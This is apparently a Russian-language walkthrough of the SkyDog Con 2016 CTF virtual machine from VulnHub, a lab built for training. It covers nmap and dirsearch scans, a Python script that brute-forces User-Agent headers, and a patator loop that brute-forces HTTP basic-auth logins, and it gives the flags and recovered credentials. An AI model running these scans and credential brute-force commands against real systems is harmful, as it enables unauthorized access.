Разбор task-based зданий с CTF SkyDog 2016

Разбор task-based зданий с CTF SkyDog 2016

https://t.me/w2hack

Greetz:)

На этот раз будем разбирать решение CTF с недавней конференции по информационной безопасности SkyDog Con с помощью VulnHub.

Начинаем

Скачиваем образ для VirtualBox, запускаем и как обычно смотрим вывод nmap`а:

sudo nmap 192.168.1.174 -sV -sC -p1-65535
Скрытый текстStarting Nmap 7.01 ( nmap.org ) at 2016-12-18 19:39 MSK
Nmap scan report for 192.168.1.174
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: SkyDog Con CTF 2016 — Catch Me If You Can
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=Network Solutions EV Server CA 2/organizationName=Network Solutions L.L.C./stateOrProvinceName=VA/countryName=US
| Not valid before: 2016-09-21T14:51:57
|_Not valid after: 2017-09-21T14:51:57
|_ssl-date: TLS randomness does not represent time
22222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 b6:64:7c:d1:55:46:4e:50:e3:ba:cf:4c:1e:81:f9:db (RSA)
|_ 256 ef:17:df:cc:db:2e:c5:24:e3:9e:25:16:3d:25:68:35 (ECDSA)
MAC Address: 08:00:27:D3:70:74 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 — 4.1
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Нам доступны 3 порта SSH(22222), HTTP(80), HTTPS(443).

Flag#1 — «Don’t go Home Frank! There’s a Hex on Your House»

Судя из описания к первому флагу, нам нужно искать что-либо похожее на HEX последовательность. 

Беглый осмотр сайта не дал результата, скан файлов и директорий тоже особо ситуацию не прояснил:

sudo dirsearch -u http://192.168.1.174 -e php,txt,json,bak,html -w /usr/share/dirb/wordlists/big.txt -r -f

Заглянув в код главной страницы видим следующее:

</div>
<!--[if IE 8]> <html lang="en" class="ie8"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie9"> <![endif]-->
<!--[If IE4]><script src="/oldIE/html5.js"></script><![Make sure to remove this before going to PROD]-->
<!--[if !IE]><!-->
        <!-- Header -->

Хм, странно, зачем нужно удалить этот код перед публикацией. Загляну внутрь /oldIE/html5.js, находим ту самую HEX последовательность о которой говорилось в описании флага:

Декодируем, и получаем первый флаг: flag{7c0132070a0ef71d542663e9dc1f5dee}. Это md5 от nmap.

Flag#2 — «Obscurity or Security? That is the Question»

Dirsearch выдал нам 403 на странице /personnel. Пробуем её открыть, дабы узнать подробности, в ответ получаем единственное сообщение:

ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....

Попробовав изменить User-Agent в запросе, получаем тот же результат. Nikto тут нам тоже не помог, как и надежда на то, что на https крутится другая версия сайта. Предположив, что в флаге 1 была подсказка, и снова взглянув на лог, вспоминаем про нестандартный ssh порт. Коннектимся туда от root:

ssh root@192.168.1.174 -p 22222

Находим второй флаг: Flag{53c82eba31f6d416f331de9162ebe997}, в котором хеш от encrypt

Flag#3 — «During his Travels Frank has Been Known to Intercept Traffic»

И так, речь идёт о перехвате трафика, предыдущий флаг, отсылает нас к шифрованию. Не трудно догадаться, что нужно заглянуть в дамп SSL трафика, который идёт при загрузке страницы.

Запускаем Wireshark, выставляем фильтр для отображения пакетов только с сайта:

ip.addr == 192.168.1.174

Переходим на 192.168.1.174, кликаем по ссылкам, что нам доступны, и далее переходим к просмотру трафика:

Флаг найден: flag3{f82366a9ddc064585d54e3f78bde3221}, это оказывается хеш от personnel

P.S. Как выяснилось позже, флаг можно было найти просто заглянув в браузере в свойства https сертификата:

Flag#4 — «A Good Agent is Hard to Find»

Из третьего флага и описания, следует что моё изначальное предположение о том, что для входа на страницу /personnel требуется верный User-Agent, оказалось верным. 

Скачиваем список всех User-Agent`ов. Далее используя следующий скрипт на Python запускаем перебор.

import requests
import sys

url = 'http://192.168.1.174/personnel'
ua_file = sys.argv[1]
head = {'User-Agent':''}
bad_resp = 'ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....'

file = open(ua_file, 'r').read().splitlines()
for item in file:
        head['User-Agent'] = item.strip()
        req = requests.get(url, headers=head)
        if req.text != bad_resp:
                print('Found UA: %s' %(item))
                print(req.text)


Результат не заставил себя долго ждать:

Список найденых User-Agent строк

Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 95)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Mac_68K)
Found UA: Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176x220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176x220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; PPC)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Found UA: Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98 )
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
Found UA: Mozilla/4.0 (Compatible; MSIE 4.0)
Found UA: Mozilla/2.0 (compatible; MSIE 4.0; Windows 98)
Found UA: nuSearch Spider (compatible; MSIE 4.01; Windows NT)

Судя по всему ФБР пользуется только MSIE 4.0 :) После замены в браузере User-Agent и перехода по ссылке, попадаем на FBI Portal агента Hanratty, и в самом низу страницы видим очередной флаг:

md5online любезно сообщил что это хеш от evidence.

Flag#5 — «The Devil is in the Details — Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices»

Рядом с флагом, можем наблюдать ещё одну подсказку это newevidence. А из описания флага следует, что нужно искать детали.

В глаза сразу бросается разница между не отсортированным и отсортированным списками, а так же ещё несколько деталей, собрав всё в кучу получаем следующий список:

Manhattan
Heidelbery
Great American Masterpiece
Miami
July 16, 2009
617468
inconsequential
newevidence
Hanratty

После долгих поисков по этим ключевым словам, можно наткнуться на ссылку. Полистав её находим:

Agent Carl Hanratty — герой произведения
Catch Me If You Can — книга
Miami — сцена 17 фильма
Heidelberg — печатная машина из фильма

Продолжим, забив этот список в файл, и запустив перебор директорий и файлов находим кое-что интересное:

Отлично мы нашли форму авторизации! У нас есть пользователь: Carl Hanratty, из названия флага можно предположить, что пароль, это что-то простое — личная информация.

Приступим к перебору. Сгенерив словарь вероятных логинов запускаем patator, скармливаем ему набор словарей SecLists

for item in $(find SecLists/ -name "*\.txt"); do sudo patator http_fuzz url=http://192.168.1.174/newevidence auth_type=basic accept_cookie=1 follow=1 -x ignore:code=401 header='User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)' user_pass="FILE0:FILE1" 0=logins.txt 1=$item; done

И спустя некоторое время получаем исходную комбинацию:

INFO — 200 1462:676 0.011 | carl.hanratty:Grace | 37586 | HTTP/1.1 200 OK

P.S. Детального изучив фильм или книгу, становится понятно, что Грейс это дочь Карла.

После авторизации попадаем на страницу:

И перейдя по одной из ссылок находим флаг: flag{117c240d49f54096413dd64280399ea9}. После расшифровки, получаем слово: panam

Report Page